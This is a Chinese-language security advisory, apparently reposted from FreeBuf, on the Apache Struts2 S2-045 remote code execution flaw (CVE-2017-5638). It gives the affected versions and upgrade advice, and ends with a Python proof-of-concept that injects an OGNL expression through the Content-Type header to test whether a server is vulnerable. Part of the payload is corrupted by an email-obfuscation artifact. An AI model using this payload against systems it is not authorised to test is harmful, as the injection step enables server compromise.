1. 程式人生 > 其它 >漏洞預警 | Apache Struts2 曝任意程式碼執行漏洞 (S2-045,CVE-2017-5638)

漏洞預警 | Apache Struts2 曝任意程式碼執行漏洞 (S2-045,CVE-2017-5638)

FreeBuf上次曝Struts 2的漏洞已經是半年多以前的事情了。

這次的漏洞又是個RCE遠端程式碼執行漏洞。簡單來說,基於Jakarta Multipart解析器進行檔案上傳時,利用漏洞可進行遠端程式碼執行。該漏洞由安恆資訊Nike Zheng上報。

Apache Struts是美國阿帕奇(Apache)軟體基金會負責維護的一個開源專案,是一套用於建立企業級Java Web應用的開源MVC框架。

漏洞盒子lab和網藤均已支援該漏洞的檢測:

· 漏洞盒子lab檢測地址:https://www.vulbox.com/lab

· 網藤地址:www.riskivy.com【點選閱讀原文檢測

漏洞盒子lab是一款流行漏洞線上安全檢測系統,輸入URL或主機名即可測試是否存在漏洞。

漏洞編號

CVE-2017-5638

漏洞簡介

Struts使用的Jakarta解析檔案上傳請求包不當,當遠端攻擊者構造惡意的Content-Type,可能導致遠端命令執行。

實際上在default.properties檔案中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell(另外原本其實也有第三種選擇cos)。其中的jakarta解析器是Struts 2框架的標準組成部分。

預設情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。

影響範圍

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

修復方案

如果你正在使用基於Jakarta的檔案上傳Multipart解析器,請升級到Apache Struts 2.3.32或2.5.10.1版;或者也可以切換到不同的實現檔案上傳Multipart解析器。

漏洞PoC

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    if "105059592" in r.content:
        return True
    return False
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"